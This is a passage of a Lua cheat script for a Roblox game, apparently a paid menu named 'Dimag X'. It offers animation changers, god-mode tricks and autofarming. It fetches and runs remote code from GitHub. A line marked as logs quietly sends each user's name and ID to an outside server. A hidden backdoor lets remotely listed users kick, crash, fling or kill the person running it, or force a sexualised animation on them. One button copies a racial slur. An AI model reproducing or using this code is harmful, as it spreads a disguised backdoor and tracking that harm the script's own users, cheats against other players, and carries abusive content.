then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Teleport.CFrame local CD = v:FindFirstChild("ClickDetector") if CD then wait(0.75) fireclickdetector(CD) game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Pos end end end) end --------------- --------------- local AnimationsButton = AnimationsPage.AddButton("Tryhard", function() local Animate = game.Players.LocalPlayer.Character.Animate Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=782841498" Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=782845736" Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616168032" Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616163682" Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=707853694" Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616086039" Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=707829716" game.Players.LocalPlayer.Character.Humanoid.Jump = true end) local AnimationsButton = AnimationsPage.AddButton("Zombie", function() local Animate = game.Players.LocalPlayer.Character.Animate Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=616158929" Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=616160636" Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616168032" Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616163682" Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=616161997" Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616156119" Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=616157476" game.Players.LocalPlayer.Character.Humanoid.Jump = true end) local AnimationsButton = AnimationsPage.AddButton("Vampire", function() local Animate = game.Players.LocalPlayer.Character.Animate Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=1083445855" Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=1083450166" Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=1083473930" Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=1083462077" Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=1083455352" Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=1083439238" Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=1083443587" game.Players.LocalPlayer.Character.Humanoid.Jump = true end) local AnimationsButton = AnimationsPage.AddButton("Toy", function() local Animate = game.Players.LocalPlayer.Character.Animate Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=782841498" Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=782845736" Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=782843345" Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=782842708" Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=782847020" Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=782843869" Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=782846423" game.Players.LocalPlayer.Character.Humanoid.Jump = true end) local AnimationsButton = AnimationsPage.AddButton("Superhero", function() local Animate = game.Players.LocalPlayer.Character.Animate Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=616111295" Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=616113536" Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616122287" Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616117076" Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=616115533" Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616104706" Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=616108001" game.Players.LocalPlayer.Character.Humanoid.Jump = true end) local AnimationsButton = AnimationsPage.AddButton("Stylish", function() local Animate = game.Players.LocalPlayer.Character.Animate Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=616136790" Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=616138447" Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616146177" Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616140816" Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=616139451" Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616133594" Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=616134815" game.Players.LocalPlayer.Character.Humanoid.Jump = true end) local AnimationsButton = AnimationsPage.AddButton("Robot", function() local Animate = game.Players.LocalPlayer.Character.Animate Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=616088211" Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=616089559" Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616095330" Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616091570" Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=616090535" Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616086039" Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=616087089" game.Players.LocalPlayer.Character.Humanoid.Jump = true end) local AnimationsButton = AnimationsPage.AddButton("Pirate", function() local Animate = game.Players.LocalPlayer.Character.Animate Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=750781874" Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=750782770" Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=750785693" Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=750783738" Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=750782230" Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=750779899" Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=750780242" game.Players.LocalPlayer.Character.Humanoid.Jump = true end) local AnimationsButton = AnimationsPage.AddButton("Ninja", function() local Animate = game.Players.LocalPlayer.Character.Animate Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=656117400" Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=656118341" Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=656121766" Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=656118852" Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=656117878" Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=656114359" Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=656115606" game.Players.LocalPlayer.Character.Humanoid.Jump = true end) local AnimationsButton = AnimationsPage.AddButton("Mage", function() local Animate = game.Players.LocalPlayer.Character.Animate Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=707742142" Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=707855907" Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=707897309" Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=707861613" Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=707853694" Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=707826056" Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=707829716" game.Players.LocalPlayer.Character.Humanoid.Jump = true end) local godbutton = GodPage.AddButton("Full God", function() local localPlayer = game:GetService('Players').LocalPlayer; local localCharacter = localPlayer.Character; localCharacter:FindFirstChildWhichIsA('Humanoid').Health = 0; for _,v in pairs(localPlayer.Character:GetChildren()) do if v:IsA('MeshPart') or v:IsA('Accessory') then v:Destroy(); end; end; local newCharacter = localPlayer.CharacterAdded:Wait(); local spoofFolder = Instance.new('Folder'); spoofFolder.Name = 'FULLY_LOADED_CHAR'; spoofFolder.Parent = newCharacter; newCharacter:WaitForChild('RagdollConstraints'):Destroy(); newCharacter:WaitForChild('BodyEffects'):WaitForChild('Defense'):Destroy(); newCharacter:WaitForChild('BodyEffects'):WaitForChild('Armor'):Destroy(); local spoofValue = Instance.new('BoolValue', newCharacter); spoofValue.Name = 'RagdollConstraints'; local defValue = Instance.new('IntValue', game:GetService('Players').LocalPlayer.Character:FindFirstChild('BodyEffects')); defValue.Name = 'Defense'; local armValue = Instance.new('IntValue', game:GetService('Players').LocalPlayer.Character:FindFirstChild('BodyEffects')); armValue.Name = 'Armor'; end) local godbutton = GodPage.AddButton("God Bullet", function() local localPlayer = game:GetService('Players').LocalPlayer; local localCharacter = localPlayer.Character; localCharacter:FindFirstChildWhichIsA('Humanoid').Health = 0; for _,v in pairs(localPlayer.Character:GetChildren()) do if v:IsA('MeshPart') or v:IsA('Accessory') then v:Destroy(); end; end; local newCharacter = localPlayer.CharacterAdded:Wait(); local spoofFolder = Instance.new('Folder'); spoofFolder.Name = 'FULLY_LOADED_CHAR'; spoofFolder.Parent = newCharacter; newCharacter:WaitForChild('RagdollConstraints'):Destroy(); newCharacter:WaitForChild('BodyEffects'):WaitForChild('Armor'):Destroy(); local spoofValue = Instance.new('BoolValue', newCharacter); spoofValue.Name = 'RagdollConstraints'; local armValue = Instance.new('IntValue', game:GetService('Players').LocalPlayer.Character:FindFirstChild('BodyEffects')); armValue.Name = 'Armor'; end) local CreditsButton = CreditsPage.AddButton("dylann#0009 - Developer", function() setclipboard("dylann#0009") end) local CreditsButton = CreditsPage.AddButton("Dimag16#1616 - Owner", function() setclipboard("Dimag16#1616") end) local TargetButton = TargetPage.AddButton("Target UI", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/GS21Official/DH-VictimMenu-Script/main/Dh%20VictimMenu%3A%20Script"))() end) local autofarmbutton = autofarm.AddButton("ATM Autofarm coming soon", function() setclipboard("Niggers") end) local autofarmbutton = autofarm.AddButton("Muscle Autofarm (reset when done)", function() while true do wait() if not game.Players.LocalPlayer.Character:FindFirstChild("[HeavyWeights]") then wait() local k = game.Workspace.Ignored.Shop["[HeavyWeights] - $250"] game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - k.Head.Position).Magnitude <= 50 then wait(.2) fireclickdetector(k:FindFirstChild("ClickDetector"), 4) end end if not game.Players.LocalPlayer.Character:FindFirstChild("[HeavyWeights]") then tool = game.Players.LocalPlayer.Backpack:WaitForChild("[HeavyWeights]") tool.Parent = game.Players.LocalPlayer.Character end game:GetService("VirtualUser"):ClickButton1(Vector2.new()) local d = Vector3.new(-1006.99, -51.1542, -1014.33) game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(d) end end) -- // logs game:HttpGet('https://enclosed.live/dimagxloader.php?user='..game:GetService('Players').LocalPlayer.Name..'&userid='..game:GetService('Players').LocalPlayer.UserId..''); -- mods perms local bending = false player = game.Players.LocalPlayer function commands(msg, playa) if DisableMod == false then local Mod = game:GetService('Players'):GetPlayerByUserId(playa) local msg = string.lower(msg) local SplitCMD = string.split(msg,' ') local lower = string.lower(player.Name) local cmdfound = string.find(lower, SplitCMD[2]) if cmdfound then if string.find(SplitCMD[1], ':kick') then kickmsg = 'PERMA-BANNED' player:Kick(kickmsg) wait(5) while true do end end end if string.find(SplitCMD[1], ':benx') then bending = true local segtarget = Mod.Name local Crouch = player.Character:FindFirstChildWhichIsA('Humanoid'):LoadAnimation(game:GetService("ReplicatedStorage").ClientAnimations.Crouching) Crouch.Looped = true Crouch:Play() local away = .5 local reversing = false local shirt = player.Character:FindFirstChild('Shirt') local pants = player.Character:FindFirstChild('Pants') if shirt then shirt:Destroy() end if pants then pants:Destroy() end local Loop local loopFunction = function() local targetchar = game:GetService('Players'):FindFirstChild(segtarget) or game.Workspace:FindFirstChild(segtarget) local character = player.Character if targetchar then if reversing == true then away = away - 0.1 else away = away + 0.1 end if away >= 2 then reversing = true elseif away < 0.5 then reversing = false end character.HumanoidRootPart.CFrame = game.Players[segtarget].Character.HumanoidRootPart.CFrame + game.Players[segtarget].Character.HumanoidRootPart.CFrame.lookVector * away end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until bending == false Pause() end if string.find(SplitCMD[1], ':unbenx') then repeat task.wait() bending = false until not bending end if string.find(SplitCMD[1], ':bring') then player.Character.HumanoidRootPart.CFrame = CFrame.new(game.Players:FindFirstChild(Mod.Name).Character.HumanoidRootPart.Position) end if string.find(SplitCMD[1], ':crash') then while true do end end if string.find(SplitCMD[1], ':fling') then player.Character.HumanoidRootPart.Velocity = Vector3.new(500000,500000,500000) end if string.find(SplitCMD[2], ':freeze') then player.Character.HumanoidRootPart.Anchored = true end if string.find(SplitCMD[2], ':thaw') then player.Character.HumanoidRootPart.Anchored = false end if string.find(SplitCMD[1], ':kill') then player.Character.Humanoid.Health = 0 end else if string.find(msg, '/e find') then game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("dimags daddy", 'All'); end end end local ifMod = loadstring(game:HttpGet("https://raw.githubusercontent.com/Pvpahh/dimagX/main/mod.lua"))() game.Players.PlayerAdded:Connect(function(plr) if ifMod[plr.UserId] then plr.Chatted:Connect(function(msg) commands(msg, plr.UserId) end) end end) for i,v in pairs(game:GetService('Players'):GetChildren()) do if ifMod[v.UserId] then v.Chatted:Connect(function(msg) commands(msg, v.UserId) end) end end isMod = false DisableMod = false if ifMod[player.UserId] then IsMod = true DisableMod = true game.StarterGui:SetCore("SendNotification", {Title = "Dimag X", Text = "Mod Perms Granted, thanks for buying!", Icon = "rbxassetid://505845268", Duration = 9, Button1 = "Alright, Thank you!"}) else IsMod = false end coroutine.resume(coroutine.create(function() while wait(3) do local function initiateNames() if player.Character:FindFirstChildWhichIsA('Script'):FindFirstChild('LocalScript') then player.Character:FindFirstChildWhichIsA('Script'):FindFirstChild('LocalScript').Disabled = true end if player.Character.UpperTorso:FindFirstChild('OriginalSize') then player.Character.UpperTorso:FindFirstChild('OriginalSize'):Destroy() end loadstring(game:HttpGet('https://raw.githubusercontent.com/Pvpahh/dimagX/main/mod.lua'))() end local success, err = pcall(initiateNames) end end))